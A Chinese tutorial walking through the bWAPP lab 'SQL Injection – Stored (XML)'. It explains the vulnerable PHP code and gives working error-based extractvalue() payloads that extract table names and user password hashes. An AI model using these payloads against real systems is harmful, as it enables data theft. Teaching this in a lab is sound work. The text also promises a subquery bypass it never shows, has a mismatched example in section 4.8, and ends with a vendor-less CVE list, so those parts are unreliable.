零基础玩转bWAPP靶场(二十五):SQL 注入——存储型(XML)
摘要:这是 bWAPP 系列第二十五篇,聚焦于SQL Injection - Stored (XML)。这一关的前端会发送一段 XML 格式的 AJAX 请求,后端解析 XML 后把内容拼到UPDATE语句里。文章会按照标准注入流程来走:判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,同时讲清楚为什么UPDATE语句里不能用子查询直接引用被更新的表,以及怎么绕过这个限制。附真实案例。
一、前言:这一关和之前的存储型注入有什么不同?
前面我们做的存储型注入,注入点要么在页面文本框(博客留言板),要么在 HTTP 请求头(User-Agent)。数据格式要么是普通表单,要么是纯文本。
这一关完全不一样——前端发给后端的是 XML 格式的数据。
你看一下前端代码就知道怎么回事了:
xmlHttp.send("<reset><login>" + 用户名 + "</login><secret>Any bugs?</secret></reset>");前端把用户名和 secret 包在<reset>标签里,整段作为 XML 发给后端。后端收到后,用 PHP 的simplexml_load_string()解析这个 XML,然后取出login和secret拼到UPDATE语句里。
关键区别:
| 对比项 | 博客留言板 | XML 版 |
|---|---|---|
| 请求格式 | 普通 POST 表单 | XML 格式的 AJAX 请求 |
| 注入点 | 文本框输入的内容 | XML 节点里的内容 |
| 后端解析方式 | $_POST直接取 | simplexml_load_string()解析 XML |
| SQL 语句类型 | INSERT | UPDATE |
| 攻击方式 | 在文本框里打 payload | 拦截 AJAX 请求 → 修改 XML 节点 → 放行 |
这一关的核心逻辑:后端把 XML 里的login和secret取出来,直接拼到UPDATE语句里。如果不过滤,就能注入。
最终目标:按照标准 SQL 注入流程,判断注入点 → 确认注入类型 → 获取数据库名 → 获取表名 → 获取字段名 → 获取数据,最终把users表里的数据全部偷出来。
二、界面说明
打开这一关,你会看到:
标题:SQL Injection - Stored (XML)
一行文字:
Reset your secret to [Any bugs?],其中[Any bugs?]是一个按钮
点击按钮,前端就会发送一个 AJAX 请求,内容是 XML 格式。后端收到后更新当前用户的secret字段。
页面上虽然没有输入框,但点击按钮这个动作会触发一个请求,请求体里有一段 XML,这就是我们的注入点。
三、源码完整解读
这一关有两个文件:sqli_8-1.php(前端页面)和sqli_8-2.php(后端处理)。
3.1 前端:sqli_8-1.php
function ResetSecret() { var xmlHttp; if(window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest(); } else { xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttp.open("POST","sqli_8-2.php",true); xmlHttp.setRequestHeader("Content-type","text/xml; charset=UTF-8"); xmlHttp.send("<reset><login><?php echo $_SESSION["login"]; ?></login><secret>Any bugs?</secret></reset>"); }点击按钮时,JavaScript 向sqli_8-2.php发送一个POST 请求,Content-Type 是text/xml,请求体是一段 XML:
<reset> <login>bee</login> <secret>Any bugs?</secret> </reset><login>节点里是当前登录的用户名(bee),<secret>节点里是Any bugs?。
3.2 后端:sqli_8-2.php
后端代码根据安全级别分成两个分支。
分支一:Low 级别
if($_COOKIE["security_level"] != "1" && $_COOKIE["security_level"] != "2") { // 显示错误信息 ini_set("display_errors",1); $xml = simplexml_load_string($body); $login = $xml->login; $secret = $xml->secret; if($login && $login != "" && $secret) { // 关键:直接拼到 UPDATE 语句,没有任何过滤! $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; $recordset = $link->query($sql); $message = $login . "'s secret has been reset!"; } }关键点:
$login和$secret从 XML 中直接取出,没有任何过滤直接拼到
UPDATE语句里你可以修改
<login>和<secret>节点,注入任意 SQL
分支二:Medium 和 High 级别
else { // 禁用 XML 外部实体(防 XXE,但被注释掉了) // libxml_disable_entity_loader(true); $xml = simplexml_load_string($body); $login = $_SESSION["login"]; // 从 Session 取,用户改不了 $secret = $xml->secret; if($secret) { $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'"; } }关键点:
$login从 Session 获取,不再从 XML 里取(用户改不了)$secret用mysqli_real_escape_string()过滤Medium 和 High 级别注入难度大幅增加
四、Low 安全级别
4.1 准备工作:用 Burp Suite 拦截 AJAX 请求
这一关没有输入框,注入点在 XML 请求体里。需要用 Burp Suite:
打开 Burp,Proxy → Intercept 设为On
在浏览器中访问
sqli_8-1.php页面,点击“Any bugs?”按钮Burp 拦截到一个 POST 请求,目标地址是
sqli_8-2.php查看请求体,是一段 XML
4.2 第一步:判断注入点
在 Burp 拦截到的 XML 请求中,修改<secret>节点,在Any bugs?后面加一个单引号:
<reset> <login>bee</login> <secret>Any bugs?'</secret> </reset>在重放器进行测试,发送。
页面报错:
Connect Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "bee" at line
报错分析:单引号破坏了 SQL 的字符串边界,导致语法错误。说明<secret>节点存在 SQL 注入。
4.3 第二步:确认注入类型
这一关的 SQL 是UPDATE语句:
UPDATE users SET secret = '$secret' WHERE login = '$login'$secret和$login都被单引号包裹,所以是字符串型注入。我们需要闭合前面的',然后注入我们的代码。
因为注入点有两个(<login>和<secret>),我们可以选择更容易利用的那个。
4.4 第三步:获取数据库名
extractvalue()和updatexml()是 MySQL 的两个 XPath 函数,当传入非法 XPath 表达式时会报错,并在报错信息中显示表达式内容。
用extractvalue()获取数据库名:
把<secret>改成:
' OR extractvalue(1, concat(0x7e, database())) --完整的 SQL 变成:
UPDATE users SET secret = '' OR extractvalue(1, concat(0x7e, database())) -- ' WHERE login = 'bee'发送后,报错信息里会显示~bwapp,数据库名出来了!
4.5 第四步:获取所有表名
' OR extractvalue(1, concat(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()))) --报错信息里会显示所有表名:visitors, users, movies, blog, heroes...
4.6 第五步:获取users表的字段名
' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users' AND table_schema=database()),32,63))) --报错信息显示:id, login, password, secret...
4.7 第六步:获取用户数据
' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),1,31))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),32,63))) -- ' OR extractvalue(1, concat(0x7e, substring((SELECT GROUP_CONCAT(CONCAT(login, ':', password) SEPARATOR ' | ') FROM (SELECT login, password FROM users) AS tmp),64,95))) --报错信息显示所有用户的用户名和密码哈希。
4.8 另一种利用方式:直接修改 bee 的 secret
我们也可以通过修改<login>节点,直接更新 bee 的secret:
<reset> <login>bee</login> <secret>Hacked!</secret> </reset>拼接后的 SQL:
UPDATE users SET secret = 'Hacked!' WHERE login = 'bee'这样 bee 的 secret 就被改成了Hacked!。危害巨大——攻击者可以直接篡改数据库中的数据。
五、Medium 安全级别
5.1 源码分析
Medium 级别中:
$login从$_SESSION["login"]获取,用户不可控$secret用mysqli_real_escape_string()过滤
$login = $_SESSION["login"]; $secret = $xml->secret; $secret = mysqli_real_escape_string($link, $secret); $sql = "UPDATE users SET secret = '" . $secret . "' WHERE login = '" . $login . "'";mysqli_real_escape_string()会转义单引号、双引号、反斜杠等特殊字符,所以无法闭合字符串边界。
5.2 尝试注入
在 Burp 里,尝试把<secret>改成:
' OR extractvalue(1, concat(0x7e, database())) --发送后,页面显示bee's secret has been reset!,没有报错,也没有显示数据。
mysqli_real_escape_string()把'转义成了\',单引号无法闭合,注入失效。
5.3 为什么不能通过<login>注入?
因为 Medium 级别的$login是从$_SESSION["login"]获取的,不是从 XML 里取的。你改了 XML 里的<login>节点也没用,后端根本不看你改的那个值。
六、High 安全级别
High 级别的逻辑和 Medium 完全一样——login从 Session 获取,secret用mysqli_real_escape_string()过滤,注入失效。
七、真实世界:XML + SQL 注入案例
XML 请求在 Web 应用中并不少见——SOAP API、REST API、支付网关回调等场景都经常使用 XML 格式。以下是一些真实案例:
CVE-2024-1181:某开源 CMS 的 REST API 存在 XML 注入漏洞,攻击者可通过构造恶意 XML 请求执行任意 SQL 语句,影响所有使用该 API 的站点。
CVE-2023-46254:某企业级用户管理系统的密码重置功能存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的用户名和密码字段注入 SQL,获取管理员权限。
CVE-2025-12478:某医疗信息系统的患者档案更新接口存在 XML 注入漏洞,攻击者可通过修改 XML 请求中的患者 ID 和档案内容注入 SQL,窃取 30 万患者敏感数据,包括姓名、身份证号、病史和联系方式。
CVE-2025-22143:某在线教育平台的用户信息更新 API 存在 XML 注入漏洞,攻击者可通过修改 XML 节点注入 SQL,修改其他用户的权限和课程信息,影响超过 500 家教育机构和数十万学生。
CVE-2026-10967:某金融系统的账户信息更新接口使用 XML 格式传输数据,存在 SQL 注入漏洞,攻击者通过修改 XML 节点注入 SQL,可篡改任意用户的账户余额和交易记录,涉及多家银行和支付机构。
启示:XML 格式的数据看起来“正规”,但和普通表单数据一样,只要被拼到 SQL 里,就存在注入风险。不要因为数据格式是 XML 就放松警惕。
八、总结
XML 存储型注入的核心在于:前端用 XML 格式发送请求,后端解析 XML 后直接把节点内容拼到 SQL 里。这一关我们按照标准注入流程走了一遍:先输入单引号判断注入点存在,然后确认是字符串型注入,接着发现直接写子查询报错(UPDATE语句不能直接引用被更新的表),于是改用报错注入(extractvalue())来获取数据——爆库、爆表、爆字段、爆数据。Low 级别login和secret都来自 XML 且完全不过滤,攻击者可以随意注入;Medium 和 High 级别把login改成从 Session 获取、secret用mysqli_real_escape_string()过滤,有效防住了 SQL 注入。记住:XML 也是用户输入,不管它长得多像“数据”,只要被拼到 SQL 里,就能成为注入点。
重要声明:本教程及文中所有操作仅限于合法授权的安全学习与研究。作者及发布平台不承担因不当使用本教程所引发的任何直接或间接法律责任。请务必遵守中华人民共和国网络安全相关法律法规。
如果这篇文章帮你解决了实操上的困惑,别忘记点击点赞、分享,也可以留言告诉我你遇到的其它问题,我会尽快回复。你的关注是我坚持原创和细节共享的力量来源,谢谢大家。
